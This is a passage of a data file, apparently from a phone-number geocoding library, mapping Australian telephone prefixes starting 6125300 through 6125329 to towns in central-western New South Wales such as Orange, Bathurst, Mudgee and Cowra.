'612530014':{'en': 'Lue/Blayney/Boorowa/Bribbaree'},
'612530015':{'en': 'Lue/Blayney/Boorowa/Bribbaree'},
'612530016':{'en': 'Lue'},
'612530017':{'en': 'Blayney'},
'612530018':{'en': 'Boorowa'},
'612530019':{'en': 'Bribbaree'},
'61253002':{'en': 'Mudgee'},
'612530029':{'en': 'Burraga'},
'612530030':{'en': 'Twelve Mile'},
'612530031':{'en': 'Twelve Mile'},
'612530032':{'en': 'Twelve Mile'},
'612530033':{'en': 'Twelve Mile'},
'612530034':{'en': 'Twelve Mile/Bylong/Canowindra/Bathurst'},
'612530035':{'en': 'Twelve Mile/Bylong/Canowindra/Bathurst'},
'612530036':{'en': 'Twelve Mile'},
'612530037':{'en': 'Bylong'},
'612530038':{'en': 'Canowindra'},
'612530039':{'en': 'Bathurst'},
'61253004':{'en': 'Windeyer'},
'612530048':{'en': 'Caragabal'},
'612530049':{'en': 'Cassilis'},
'61253005':{'en': 'Wollar'},
'612530055':{'en': 'Lithgow'},
'612530056':{'en': 'Orange'},
'612530059':{'en': 'Coolah'},
'61253006':{'en': 'Baldry'},
'612530068':{'en': 'Cowra'},
'612530069':{'en': 'Cudal'},
'61253007':{'en': 'Blayney'},
'612530078':{'en': 'Cumnock'},
'612530079':{'en': 'Dunedoo'},
'612530080':{'en': 'Cudal'},
'612530081':{'en': 'Cudal'},
'612530082':{'en': 'Cudal'},
'612530083':{'en': 'Cudal'},
'612530084':{'en': 'Cudal/Euchareena/Frogmore/Galong'},
'612530085':{'en': 'Cudal/Euchareena/Frogmore/Galong'},
'612530086':{'en': 'Cudal'},
'612530087':{'en': 'Euchareena'},
'612530088':{'en': 'Frogmore'},
'612530089':{'en': 'Galong'},
'612530090':{'en': 'Cumnock'},
'612530091':{'en': 'Cumnock'},
'612530092':{'en': 'Cumnock'},
'612530093':{'en': 'Cumnock'},
'612530094':{'en': 'Cumnock/Gingkin/Glen Davis/Gooloogong'},
'612530095':{'en': 'Cumnock/Gingkin/Glen Davis/Gooloogong'},
'612530096':{'en': 'Cumnock'},
'612530097':{'en': 'Gingkin'},
'612530098':{'en': 'Glen Davis'},
'612530099':{'en': 'Gooloogong'},
'612530100':{'en': 'Euchareena'},
'612530101':{'en': 'Euchareena'},
'612530102':{'en': 'Euchareena'},
'612530103':{'en': 'Euchareena'},
'612530104':{'en': 'Euchareena/Greenethorpe/Grenfell/Gulgong'},
'612530105':{'en': 'Euchareena/Greenethorpe/Grenfell/Gulgong'},
'612530106':{'en': 'Euchareena'},
'612530107':{'en': 'Greenethorpe'},
'612530108':{'en': 'Grenfell'},
'612530109':{'en': 'Gulgong'},
'612530110':{'en': 'Lyndhurst'},
'612530111':{'en': 'Lyndhurst'},
'612530112':{'en': 'Lyndhurst'},
'612530113':{'en': 'Lyndhurst'},
'612530114':{'en': 'Lyndhurst/Hampton/Harden/Hill End'},
'612530115':{'en': 'Lyndhurst/Hampton/Harden/Hill End'},
'612530116':{'en': 'Lyndhurst'},
'612530117':{'en': 'Hampton'},
'612530118':{'en': 'Harden'},
'612530119':{'en': 'Hill End'},
'612530120':{'en': 'Manildra'},
'612530121':{'en': 'Manildra'},
'612530122':{'en': 'Manildra'},
'612530123':{'en': 'Manildra'},
'612530124':{'en': 'Manildra/Kandos/Killongbutta/Koorawatha'},
'612530125':{'en': 'Manildra/Kandos/Killongbutta/Koorawatha'},
'612530126':{'en': 'Manildra'},
'612530127':{'en': 'Kandos'},
'612530128':{'en': 'Killongbutta'},
'612530129':{'en': 'Koorawatha'},
'61253013':{'en': 'Millthorpe'},
'612530138':{'en': 'Laheys Creek'},
'612530139':{'en': 'Leadville'},
'612530140':{'en': 'Molong'},
'612530141':{'en': 'Molong'},
'612530142':{'en': 'Molong'},
'612530143':{'en': 'Molong'},
'612530144':{'en': 'Molong/Limekilns/Lithgow/Lue'},
'612530145':{'en': 'Molong/Limekilns/Lithgow/Lue'},
'612530146':{'en': 'Molong'},
'612530147':{'en': 'Limekilns'},
'612530148':{'en': 'Lithgow'},
'612530149':{'en': 'Lue'},
'612530150':{'en': 'Neville'},
'612530151':{'en': 'Neville'},
'612530152':{'en': 'Neville'},
'612530153':{'en': 'Neville'},
'612530154':{'en': 'Neville/Lyndhurst/Maimuru/Manildra'},
'612530155':{'en': 'Neville/Lyndhurst/Maimuru/Manildra'},
'612530156':{'en': 'Neville'},
'612530157':{'en': 'Lyndhurst'},
'612530158':{'en': 'Maimuru'},
'612530159':{'en': 'Manildra'},
'612530160':{'en': 'Orange'},
'612530161':{'en': 'Orange'},
'612530162':{'en': 'Orange'},
'612530163':{'en': 'Orange'},
'612530164':{'en': 'Orange'},
'612530165':{'en': 'Orange/Meadow Flat/Merriganowry/Millthorpe'},
'612530166':{'en': 'Orange/Meadow Flat/Merriganowry/Millthorpe'},
'612530167':{'en': 'Meadow Flat'},
'612530168':{'en': 'Merriganowry'},
'612530169':{'en': 'Millthorpe'},
'612530170':{'en': 'Bylong'},
'612530171':{'en': 'Bylong'},
'612530172':{'en': 'Bylong'},
'612530173':{'en': 'Bylong'},
'612530174':{'en': 'Bylong/Milvale/Molong/Monteagle'},
'612530175':{'en': 'Bylong/Milvale/Molong/Monteagle'},
'612530176':{'en': 'Bylong'},
'612530177':{'en': 'Milvale'},
'612530178':{'en': 'Molong'},
'612530179':{'en': 'Monteagle'},
'612530180':{'en': 'Glen Davis'},
'612530181':{'en': 'Glen Davis'},
'612530182':{'en': 'Glen Davis'},
'612530183':{'en': 'Glen Davis'},
'612530184':{'en': 'Glen Davis/Mudgee/Murringo/Neville'},
'612530185':{'en': 'Glen Davis/Mudgee/Murringo/Neville'},
'612530186':{'en': 'Glen Davis'},
'612530187':{'en': 'Mudgee'},
'612530188':{'en': 'Murringo'},
'612530189':{'en': 'Neville'},
'61253019':{'en': 'Kandos'},
'612530198':{'en': 'Oberon'},
'612530199':{'en': 'Ooma'},
'612530200':{'en': 'Running Stream'},
'612530201':{'en': 'Running Stream'},
'612530202':{'en': 'Running Stream'},
'612530203':{'en': 'Running Stream'},
'612530204':{'en': 'Running Stream/Orange/Portland/Quandialla'},
'612530205':{'en': 'Running Stream/Orange/Portland/Quandialla'},
'612530206':{'en': 'Running Stream'},
'612530207':{'en': 'Orange'},
'612530208':{'en': 'Portland'},
'612530209':{'en': 'Quandialla'},
'61253021':{'en': 'Boorowa'},
'612530218':{'en': 'Reids Flat'},
'612530219':{'en': 'Rockley'},
'612530220':{'en': 'Bribbaree'},
'612530221':{'en': 'Bribbaree'},
'612530222':{'en': 'Bribbaree'},
'612530223':{'en': 'Bribbaree'},
'612530224':{'en': 'Bribbaree/Running Stream/Twelve Mile/Tyagong'},
'612530225':{'en': 'Bribbaree/Running Stream/Twelve Mile/Tyagong'},
'612530226':{'en': 'Bribbaree'},
'612530227':{'en': 'Running Stream'},
'612530228':{'en': 'Twelve Mile'},
'612530229':{'en': 'Tyagong'},
'612530230':{'en': 'Frogmore'},
'612530231':{'en': 'Frogmore'},
'612530232':{'en': 'Frogmore'},
'612530233':{'en': 'Frogmore'},
'612530234':{'en': 'Frogmore/Windeyer/Wollar/Woodstock'},
'612530235':{'en': 'Frogmore/Windeyer/Wollar/Woodstock'},
'612530236':{'en': 'Frogmore'},
'612530237':{'en': 'Windeyer'},
'612530238':{'en': 'Wollar'},
'612530239':{'en': 'Woodstock'},
'612530240':{'en': 'Galong'},
'612530241':{'en': 'Galong'},
'612530242':{'en': 'Galong'},
'612530243':{'en': 'Galong'},
'612530244':{'en': 'Galong/Yetholme/Young/Baldry'},
'612530245':{'en': 'Galong/Yetholme/Young/Baldry'},
'612530246':{'en': 'Galong'},
'612530247':{'en': 'Yetholme'},
'612530248':{'en': 'Young'},
'612530249':{'en': 'Baldry'},
'612530250':{'en': 'Harden'},
'612530251':{'en': 'Harden'},
'612530252':{'en': 'Harden'},
'612530253':{'en': 'Harden'},
'612530254':{'en': 'Harden/Bathurst/Birriwa/Blayney'},
'612530255':{'en': 'Harden/Bathurst/Birriwa/Blayney'},
'612530256':{'en': 'Harden'},
'612530257':{'en': 'Bathurst'},
'612530258':{'en': 'Birriwa'},
'612530259':{'en': 'Blayney'},
'612530260':{'en': 'Maimuru'},
'612530261':{'en': 'Maimuru'},
'612530262':{'en': 'Maimuru'},
'612530263':{'en': 'Maimuru'},
'612530264':{'en': 'Maimuru/Boorowa/Bribbaree/Burraga'},
'612530265':{'en': 'Maimuru/Boorowa/Bribbaree/Burraga'},
'612530266':{'en': 'Maimuru'},
'612530267':{'en': 'Boorowa'},
'612530268':{'en': 'Bribbaree'},
'612530269':{'en': 'Burraga'},
'612530270':{'en': 'Milvale'},
'612530271':{'en': 'Milvale'},
'612530272':{'en': 'Milvale'},
'612530273':{'en': 'Milvale'},
'612530274':{'en': 'Milvale/Bylong/Canowindra/Caragabal'},
'612530275':{'en': 'Milvale/Bylong/Canowindra/Caragabal'},
'612530276':{'en': 'Milvale'},
'612530277':{'en': 'Bylong'},
'612530278':{'en': 'Canowindra'},
'612530279':{'en': 'Caragabal'},
'61253028':{'en': 'Monteagle'},
'612530287':{'en': 'Cassilis'},
'612530288':{'en': 'Coolah'},
'612530289':{'en': 'Cowra'},
'612530290':{'en': 'Murringo'},
'612530291':{'en': 'Murringo'},
'612530292':{'en': 'Murringo'},
'612530293':{'en': 'Murringo'},
'612530294':{'en': 'Murringo/Cudal/Cumnock/Dunedoo'},
'612530295':{'en': 'Murringo/Cudal/Cumnock/Dunedoo'},
'612530296':{'en': 'Murringo'},
'612530297':{'en': 'Cudal'},
'612530298':{'en': 'Cumnock'},
'612530299':{'en': 'Dunedoo'},
'61253030':{'en': 'Young'},
'612530308':{'en': 'Euchareena'},
'612530309':{'en': 'Frogmore'},
'61253031':{'en': 'Bathurst'},
'61253032':{'en': 'Gooloogong'},
'61253033':{'en': 'Gooloogong'},
'61253034':{'en': 'Greenethorpe'},
'61253035':{'en': 'Greenethorpe'},
'61253036':{'en': 'Grenfell'},
'61253037':{'en': 'Grenfell'},
'61253038':{'en': 'Koorawatha'},
'61253039':{'en': 'Koorawatha'},
'61253040':{'en': 'Bathurst'},
'61253041':{'en': 'Burraga'},
'61253042':{'en': 'Gingkin'},
'61253043':{'en': 'Hill End'},
'61253044':{'en': 'Killongbutta'},
'61253045':{'en': 'Limekilns'},
'61253046':{'en': 'Oberon'},
'61253047':{'en': 'Rockley'},
'61253048':{'en': 'Yetholme'},
'61253049':{'en': 'Canowindra'},
'61253050':{'en': 'Caragabal'},
'61253051':{'en': 'Gooloogong'},
'61253052':{'en': 'Greenethorpe'},
'61253053':{'en': 'Grenfell'},
'61253054':{'en': 'Koorawatha'},
'61253055':{'en': 'Merriganowry'},
'61253056':{'en': 'Ooma'},
'61253057':{'en': 'Quandialla'},
'61253058':{'en': 'Reids Flat'},
'61253059':{'en': 'Tyagong'},
'61253060':{'en': 'Woodstock'},
'61253061':{'en': 'Hampton'},
'61253062':{'en': 'Lithgow'},
'61253063':{'en': 'Meadow Flat'},
'61253064':{'en': 'Portland'},
'61253065':{'en': 'Birriwa'},
'61253066':{'en': 'Cassilis'},
'61253067':{'en': 'Coolah'},
'61253068':{'en': 'Dunedoo'},
'61253069':{'en': 'Gulgong'},
'61253070':{'en': 'Laheys Creek'},
'61253071':{'en': 'Leadville'},
'61253072':{'en': 'Lue'},
'61253073':{'en': 'Mudgee'},
'61253074':{'en': 'Twelve Mile'},
'61253075':{'en': 'Windeyer'},
'61253076':{'en': 'Wollar'},
'61253077':{'en': 'Baldry'},
'61253078':{'en': 'Blayney'},
'61253079':{'en': 'Cudal'},
'61253080':{'en': 'Cumnock'},
'61253081':{'en': 'Euchareena'},
'61253082':{'en': 'Lyndhurst'},
'61253083':{'en': 'Manildra'},
'61253084':{'en': 'Millthorpe'},
'61253085':{'en': 'Molong'},
'61253086':{'en': 'Neville'},
'61253087':{'en': 'Bylong'},
'61253088':{'en': 'Glen Davis'},
'61253089':{'en': 'Kandos'},
'61253090':{'en': 'Running Stream'},
'61253091':{'en': 'Boorowa'},
'61253092':{'en': 'Bribbaree'},
'61253093':{'en': 'Frogmore'},
'61253094':{'en': 'Galong'},
'61253095':{'en': 'Harden'},
'61253096':{'en': 'Maimuru'},
'61253097':{'en': 'Milvale'},
'61253098':{'en': 'Monteagle'},
'61253099':{'en': 'Murringo'},
'6125310':{'en': 'Orange'},
'61253100':{'en': 'Young'},
'61253107':{'en': 'Millthorpe'},
'61253108':{'en': 'Millthorpe'},
'61253109':{'en': 'Lyndhurst'},
'61253110':{'en': 'Lyndhurst'},
'61253111':{'en': 'Orange'},
'61253112':{'en': 'Orange'},
'61253113':{'en': 'Woodstock'},
'61253114':{'en': 'Woodstock'},
'61253115':{'en': 'Canowindra'},
'61253116':{'en': 'Canowindra'},
'61253117':{'en': 'Caragabal'},
'61253118':{'en': 'Caragabal'},
'61253119':{'en': 'Merriganowry'},
'61253120':{'en': 'Merriganowry'},
'61253121':{'en': 'Ooma'},
'61253122':{'en': 'Ooma'},
'61253123':{'en': 'Quandialla'},
'61253124':{'en': 'Quandialla'},
'61253125':{'en': 'Reids Flat'},
'61253126':{'en': 'Reids Flat'},
'61253127':{'en': 'Tyagong'},
'61253128':{'en': 'Tyagong'},
'61253129':{'en': 'Cassilis'},
'61253130':{'en': 'Cassilis'},
'61253131':{'en': 'Coolah'},
'61253132':{'en': 'Coolah'},
'61253133':{'en': 'Gulgong'},
'61253134':{'en': 'Gulgong'},
'61253135':{'en': 'Laheys Creek'},
'61253136':{'en': 'Laheys Creek'},
'61253137':{'en': 'Leadville'},
'61253138':{'en': 'Leadville'},
'61253139':{'en': 'Lue'},
'61253140':{'en': 'Lue'},
'61253141':{'en': 'Twelve Mile'},
'61253142':{'en': 'Twelve Mile'},
'61253143':{'en': 'Windeyer'},
'61253144':{'en': 'Windeyer'},
'61253145':{'en': 'Wollar'},
'61253146':{'en': 'Wollar'},
'61253147':{'en': 'Glen Davis'},
'61253148':{'en': 'Glen Davis'},
'61253149':{'en': 'Running Stream'},
'61253150':{'en': 'Running Stream'},
'61253151':{'en': 'Boorowa'},
'61253152':{'en': 'Boorowa'},
'61253153':{'en': 'Bribbaree'},
'61253154':{'en': 'Bribbaree'},
'61253155':{'en': 'Milvale'},
'61253156':{'en': 'Milvale'},
'61253157':{'en': 'Murringo'},
'61253158':{'en': 'Murringo'},
'61253159':{'en': 'Baldry'},
'61253160':{'en': 'Baldry'},
'61253161':{'en': 'Cumnock'},
'61253162':{'en': 'Cumnock'},
'61253163':{'en': 'Euchareena'},
'61253164':{'en': 'Euchareena'},
'61253165':{'en': 'Manildra'},
'61253166':{'en': 'Manildra'},
'61253167':{'en': 'Molong'},
'61253168':{'en': 'Molong'},
'61253169':{'en': 'Neville'},
'61253170':{'en': 'Neville'},
'61253171':{'en': 'Orange'},
'61253172':{'en': 'Bathurst'},
'61253173':{'en': 'Orange'},
'61253174':{'en': 'Lithgow'},
'61253175':{'en': 'Cowra'},
'61253176':{'en': 'Bathurst'},
'61253177':{'en': 'Orange'},
'61253178':{'en': 'Orange'},
'61253179':{'en': 'Lithgow'},
'61253180':{'en': 'Portland'},
'61253181':{'en': 'Orange'},
'61253182':{'en': 'Bathurst'},
'61253183':{'en': 'Bathurst'},
'61253184':{'en': 'Young'},
'61253185':{'en': 'Portland'},
'61253186':{'en': 'Portland'},
'61253187':{'en': 'Portland'},
'61253188':{'en': 'Blayney'},
'61253189':{'en': 'Blayney'},
'61253190':{'en': 'Orange'},
'61253191':{'en': 'Merriganowry'},
'61253192':{'en': 'Portland'},
'61253193':{'en': 'Quandialla'},
'61253194':{'en': 'Reids Flat'},
'61253195':{'en': 'Woodstock'},
'61253196':{'en': 'Killongbutta'},
'61253197':{'en': 'Cowra'},
'61253198':{'en': 'Mudgee'},
'61253199':{'en': 'Millthorpe'},
'61253200':{'en': 'Birriwa'},
'61253201':{'en': 'Boorowa'},
'61253202':{'en': 'Bribbaree'},
'61253203':{'en': 'Burraga'},
'61253204':{'en': 'Coolah'},
'61253205':{'en': 'Cudal'},
'61253206':{'en': 'Cumnock'},
'61253207':{'en': 'Euchareena'},
'61253208':{'en': 'Galong'},
'61253209':{'en': 'Gingkin'},
'61253210':{'en': 'Glen Davis'},
'61253211':{'en': 'Gulgong'},
'61253212':{'en': 'Harden'},
'61253213':{'en': 'Hill End'},
'61253214':{'en': 'Kandos'},
'61253215':{'en': 'Killongbutta'},
'61253216':{'en': 'Laheys Creek'},
'61253217':{'en': 'Leadville'},
'61253218':{'en': 'Limekilns'},
'61253219':{'en': 'Lue'},
'61253220':{'en': 'Maimuru'},
'61253221':{'en': 'Bathurst'},
'61253222':{'en': 'Lithgow'},
'61253223':{'en': 'Orange'},
'61253224':{'en': 'Bathurst'},
'61253225':{'en': 'Bathurst'},
'61253226':{'en': 'Bathurst'},
'61253227':{'en': 'Young'},
'61253228':{'en': 'Young'},
'61253229':{'en': 'Young'},
'61253230':{'en': 'Manildra'},
'61253231':{'en': 'Millthorpe'},
'61253232':{'en': 'Milvale'},
'61253233':{'en': 'Molong'},
'61253234':{'en': 'Monteagle'},
'61253235':{'en': 'Murringo'},
'61253236':{'en': 'Neville'},
'61253237':{'en': 'Oberon'},
'61253238':{'en': 'Rockley'},
'61253239':{'en': 'Windeyer'},
'61253240':{'en': 'Wollar'},
'61253241':{'en': 'Yetholme'},
'61253242':{'en': 'Mudgee'},
'612532430':{'en': 'Galong'},
'612532431':{'en': 'Gingkin'},
'612532432':{'en': 'Glen Davis'},
'612532433':{'en': 'Gooloogong'},
'612532434':{'en': 'Greenethorpe'},
'612532435':{'en': 'Grenfell'},
'612532436':{'en': 'Gulgong'},
'612532437':{'en': 'Hampton'},
'612532438':{'en': 'Harden'},
'612532439':{'en': 'Hill End'},
'612532440':{'en': 'Kandos'},
'612532441':{'en': 'Killongbutta'},
'612532442':{'en': 'Koorawatha'},
'612532443':{'en': 'Laheys Creek'},
'612532444':{'en': 'Leadville'},
'612532445':{'en': 'Limekilns'},
'612532446':{'en': 'Lithgow'},
'612532447':{'en': 'Lue'},
'612532448':{'en': 'Lyndhurst'},
'612532449':{'en': 'Maimuru'},
'612532450':{'en': 'Manildra'},
'612532451':{'en': 'Meadow Flat'},
'612532452':{'en': 'Merriganowry'},
'612532453':{'en': 'Millthorpe'},
'612532454':{'en': 'Milvale'},
'612532455':{'en': 'Molong'},
'612532456':{'en': 'Monteagle'},
'612532457':{'en': 'Mudgee'},
'612532458':{'en': 'Murringo'},
'612532459':{'en': 'Neville'},
'612532460':{'en': 'Oberon'},
'612532461':{'en': 'Ooma'},
'612532462':{'en': 'Orange'},
'612532463':{'en': 'Portland'},
'612532464':{'en': 'Quandialla'},
'612532465':{'en': 'Reids Flat'},
'612532466':{'en': 'Rockley'},
'612532467':{'en': 'Running Stream'},
'612532468':{'en': 'Twelve Mile'},
'612532469':{'en': 'Tyagong'},
'612532470':{'en': 'Windeyer'},
'612532471':{'en': 'Wollar'},
'612532472':{'en': 'Woodstock'},
'612532473':{'en': 'Yetholme'},
'612532474':{'en': 'Young'},
'612532475':{'en': 'Baldry'},
'612532476':{'en': 'Bathurst'},
'612532477':{'en': 'Birriwa'},
'612532478':{'en': 'Blayney'},
'612532479':{'en': 'Boorowa'},
'61253248':{'en': 'Bathurst'},
'61253249':{'en': 'Grenfell'},
'61253250':{'en': 'Cudal'},
'612532510':{'en': 'Bribbaree'},
'612532511':{'en': 'Burraga'},
'612532512':{'en': 'Bylong'},
'612532513':{'en': 'Canowindra'},
'612532514':{'en': 'Caragabal'},
'612532515':{'en': 'Cassilis'},
'612532516':{'en': 'Coolah'},
'612532517':{'en': 'Cowra'},
'612532518':{'en': 'Cudal'},
'612532519':{'en': 'Cumnock'},
'612532520':{'en': 'Dunedoo'},
'612532521':{'en': 'Euchareena'},
'612532522':{'en': 'Frogmore'},
'612532523':{'en': 'Galong'},
'612532524':{'en': 'Gingkin'},
'612532525':{'en': 'Glen Davis'},
'612532526':{'en': 'Gooloogong'},
'612532527':{'en': 'Greenethorpe'},
'612532528':{'en': 'Grenfell'},
'612532529':{'en': 'Gulgong'},
'612532530':{'en': 'Hampton'},
'612532531':{'en': 'Harden'},
'612532532':{'en': 'Hill End'},
'612532533':{'en': 'Kandos'},
'612532534':{'en': 'Killongbutta'},
'612532535':{'en': 'Koorawatha'},
'612532536':{'en': 'Laheys Creek'},
'612532537':{'en': 'Leadville'},
'612532538':{'en': 'Limekilns'},
'612532539':{'en': 'Lithgow'},
'612532540':{'en': 'Lue'},
'612532541':{'en': 'Lyndhurst'},
'612532542':{'en': 'Maimuru'},
'612532543':{'en': 'Manildra'},
'612532544':{'en': 'Meadow Flat'},
'612532545':{'en': 'Merriganowry'},
'612532546':{'en': 'Millthorpe'},
'612532547':{'en': 'Milvale'},
'612532548':{'en': 'Molong'},
'612532549':{'en': 'Monteagle'},
'61253255':{'en': 'Molong'},
'61253256':{'en': 'Molong'},
'61253257':{'en': 'Molong'},
'612532580':{'en': 'Mudgee'},
'612532581':{'en': 'Murringo'},
'612532582':{'en': 'Neville'},
'612532583':{'en': 'Oberon'},
'612532584':{'en': 'Ooma'},
'612532585':{'en': 'Orange'},
'612532586':{'en': 'Portland'},
'612532587':{'en': 'Quandialla'},
'612532588':{'en': 'Reids Flat'},
'612532589':{'en': 'Rockley'},
'61253259':{'en': 'Bathurst'},
'612532600':{'en': 'Running Stream'},
'612532601':{'en': 'Twelve Mile'},
'612532602':{'en': 'Tyagong'},
'612532603':{'en': 'Windeyer'},
'612532604':{'en': 'Wollar'},
'612532605':{'en': 'Woodstock'},
'612532606':{'en': 'Yetholme'},
'612532607':{'en': 'Young'},
'612532608':{'en': 'Baldry'},
'612532609':{'en': 'Bathurst'},
'61253261':{'en': 'Bathurst'},
'61253262':{'en': 'Bathurst'},
'61253263':{'en': 'Bathurst'},
'61253264':{'en': 'Bathurst'},
'61253265':{'en': 'Orange'},
'612532660':{'en': 'Birriwa'},
'612532661':{'en': 'Baldry'},
'612532662':{'en': 'Bathurst'},
'612532663':{'en': 'Birriwa'},
'612532664':{'en': 'Blayney'},
'612532665':{'en': 'Boorowa'},
'612532666':{'en': 'Bribbaree'},
'612532667':{'en': 'Burraga'},
'612532668':{'en': 'Bylong'},
'612532669':{'en': 'Canowindra'},
'612532670':{'en': 'Caragabal'},
'612532671':{'en': 'Cassilis'},
'612532672':{'en': 'Coolah'},
'612532673':{'en': 'Cowra'},
'612532674':{'en': 'Cudal'},
'612532675':{'en': 'Cumnock'},
'612532676':{'en': 'Dunedoo'},
'612532677':{'en': 'Euchareena'},
'612532678':{'en': 'Frogmore'},
'612532679':{'en': 'Galong'},
'612532680':{'en': 'Gingkin'},
'612532681':{'en': 'Glen Davis'},
'612532682':{'en': 'Gooloogong'},
'612532683':{'en': 'Greenethorpe'},
'612532684':{'en': 'Grenfell'},
'612532685':{'en': 'Gulgong'},
'612532686':{'en': 'Hampton'},
'612532687':{'en': 'Harden'},
'612532688':{'en': 'Hill End'},
'612532689':{'en': 'Kandos'},
'612532690':{'en': 'Killongbutta'},
'612532691':{'en': 'Koorawatha'},
'612532692':{'en': 'Laheys Creek'},
'612532693':{'en': 'Leadville'},
'612532694':{'en': 'Limekilns'},
'612532695':{'en': 'Lithgow'},
'612532696':{'en': 'Lue'},
'612532697':{'en': 'Lyndhurst'},
'612532698':{'en': 'Maimuru'},
'612532699':{'en': 'Manildra'},
'612532700':{'en': 'Meadow Flat'},
'612532701':{'en': 'Merriganowry'},
'612532702':{'en': 'Millthorpe'},
'612532703':{'en': 'Milvale'},
'612532704':{'en': 'Molong'},
'612532705':{'en': 'Monteagle'},
'612532706':{'en': 'Mudgee'},
'612532707':{'en': 'Murringo'},
'612532708':{'en': 'Neville'},
'612532709':{'en': 'Oberon'},
'612532710':{'en': 'Ooma'},
'612532711':{'en': 'Orange'},
'612532712':{'en': 'Portland'},
'612532713':{'en': 'Quandialla'},
'612532714':{'en': 'Reids Flat'},
'612532715':{'en': 'Rockley'},
'612532716':{'en': 'Running Stream'},
'612532717':{'en': 'Twelve Mile'},
'612532718':{'en': 'Tyagong'},
'612532719':{'en': 'Windeyer'},
'612532720':{'en': 'Wollar'},
'612532721':{'en': 'Woodstock'},
'612532722':{'en': 'Yetholme'},
'612532723':{'en': 'Young'},
'612532724':{'en': 'Blayney'},
'612532725':{'en': 'Boorowa'},
'612532726':{'en': 'Bribbaree'},
'612532727':{'en': 'Burraga'},
'612532728':{'en': 'Bylong'},
'612532729':{'en': 'Canowindra'},
'61253273':{'en': 'Orange'},
'61253274':{'en': 'Lithgow'},
'61253275':{'en': 'Lithgow'},
'61253276':{'en': 'Cowra'},
'61253277':{'en': 'Young'},
'61253278':{'en': 'Blayney'},
'61253279':{'en': 'Gulgong'},
'61253280':{'en': 'Molong'},
'61253281':{'en': 'Kandos'},
'612532820':{'en': 'Caragabal'},
'612532821':{'en': 'Cassilis'},
'612532822':{'en': 'Coolah'},
'612532823':{'en': 'Cowra'},
'612532824':{'en': 'Cudal'},
'612532825':{'en': 'Cumnock'},
'612532826':{'en': 'Dunedoo'},
'612532827':{'en': 'Euchareena'},
'612532828':{'en': 'Frogmore'},
'612532829':{'en': 'Galong'},
'612532830':{'en': 'Gingkin'},
'612532831':{'en': 'Glen Davis'},
'612532832':{'en': 'Gooloogong'},
'612532833':{'en': 'Greenethorpe'},
'612532834':{'en': 'Grenfell'},
'612532835':{'en': 'Gulgong'},
'612532836':{'en': 'Hampton'},
'612532837':{'en': 'Harden'},
'612532838':{'en': 'Hill End'},
'612532839':{'en': 'Kandos'},
'612532840':{'en': 'Killongbutta'},
'612532841':{'en': 'Koorawatha'},
'612532842':{'en': 'Laheys Creek'},
'612532843':{'en': 'Leadville'},
'612532844':{'en': 'Limekilns'},
'612532845':{'en': 'Lithgow'},
'612532846':{'en': 'Lue'},
'612532847':{'en': 'Lyndhurst'},
'612532848':{'en': 'Maimuru'},
'612532849':{'en': 'Manildra'},
'612532850':{'en': 'Meadow Flat'},
'612532851':{'en': 'Merriganowry'},
'612532852':{'en': 'Millthorpe'},
'612532853':{'en': 'Milvale'},
'612532854':{'en': 'Molong'},
'612532855':{'en': 'Monteagle'},
'612532856':{'en': 'Mudgee'},
'612532857':{'en': 'Murringo'},
'612532858':{'en': 'Neville'},
'612532859':{'en': 'Oberon'},
'612532860':{'en': 'Ooma'},
'612532861':{'en': 'Orange'},
'612532862':{'en': 'Portland'},
'612532863':{'en': 'Quandialla'},
'612532864':{'en': 'Reids Flat'},
'612532865':{'en': 'Rockley'},
'612532866':{'en': 'Running Stream'},
'612532867':{'en': 'Twelve Mile'},
'612532868':{'en': 'Tyagong'},
'612532869':{'en': 'Windeyer'},
'612532870':{'en': 'Wollar'},
'612532871':{'en': 'Woodstock'},
'612532872':{'en': 'Yetholme'},
'612532873':{'en': 'Young'},
'612532874':{'en': 'Baldry'},
'612532875':{'en': 'Bathurst'},
'612532876':{'en': 'Birriwa'},
'612532877':{'en': 'Blayney'},
'612532878':{'en': 'Boorowa'},
'612532879':{'en': 'Bribbaree'},
'612532880':{'en': 'Burraga'},
'612532881':{'en': 'Bylong'},
'612532882':{'en': 'Canowindra'},
'612532883':{'en': 'Caragabal'},
'612532884':{'en': 'Cassilis'},
'612532885':{'en': 'Coolah'},
'612532886':{'en': 'Cowra'},
'612532887':{'en': 'Cudal'},
'612532888':{'en': 'Cumnock'},
'612532889':{'en': 'Dunedoo'},
'612532890':{'en': 'Euchareena'},
'612532891':{'en': 'Frogmore'},
'612532892':{'en': 'Galong'},
'612532893':{'en': 'Gingkin'},
'612532894':{'en': 'Glen Davis'},
'612532895':{'en': 'Gooloogong'},
'612532896':{'en': 'Greenethorpe'},
'612532897':{'en': 'Grenfell'},
'612532898':{'en': 'Gulgong'},
'612532899':{'en': 'Hampton'},
'612532900':{'en': 'Harden'},
'612532901':{'en': 'Hill End'},
'612532902':{'en': 'Kandos'},
'612532903':{'en': 'Killongbutta'},
'612532904':{'en': 'Koorawatha'},
'612532905':{'en': 'Laheys Creek'},
'612532906':{'en': 'Leadville'},
'612532907':{'en': 'Limekilns'},
'612532908':{'en': 'Lithgow'},
'612532909':{'en': 'Lue'},
'612532910':{'en': 'Lyndhurst'},
'612532911':{'en': 'Maimuru'},
'612532912':{'en': 'Manildra'},
'612532913':{'en': 'Meadow Flat'},
'612532914':{'en': 'Merriganowry'},
'612532915':{'en': 'Millthorpe'},
'612532916':{'en': 'Milvale'},
'612532917':{'en': 'Molong'},
'612532918':{'en': 'Monteagle'},
'612532919':{'en': 'Mudgee'},
'612532920':{'en': 'Murringo'},
'612532921':{'en': 'Neville'},
'612532922':{'en': 'Oberon'},
'612532923':{'en': 'Ooma'},
'612532924':{'en': 'Orange'},
'612532925':{'en': 'Portland'},
'612532926':{'en': 'Quandialla'},
'612532927':{'en': 'Reids Flat'},
'612532928':{'en': 'Rockley'},
'612532929':{'en': 'Running Stream'},
'612532930':{'en': 'Twelve Mile'},
'612532931':{'en': 'Tyagong'},
'612532932':{'en': 'Windeyer'},
'612532933':{'en': 'Wollar'},
'612532934':{'en': 'Woodstock'},
'612532935':{'en': 'Yetholme'},
'612532936':{'en': 'Young'},
'612532937':{'en': 'Baldry'},
'612532938':{'en': 'Bathurst'},
'612532939':{'en': 'Birriwa'},
'612532940':{'en': 'Blayney'},
'612532941':{'en': 'Boorowa'},
'612532942':{'en': 'Bribbaree'},
'612532943':{'en': 'Burraga'},
'612532944':{'en': 'Bylong'},
'612532945':{'en': 'Canowindra'},
'612532946':{'en': 'Caragabal'},
'612532947':{'en': 'Cassilis'},
'612532948':{'en': 'Coolah'},
'612532949':{'en': 'Cowra'},
'612532950':{'en': 'Cudal'},
'612532951':{'en': 'Cumnock'},
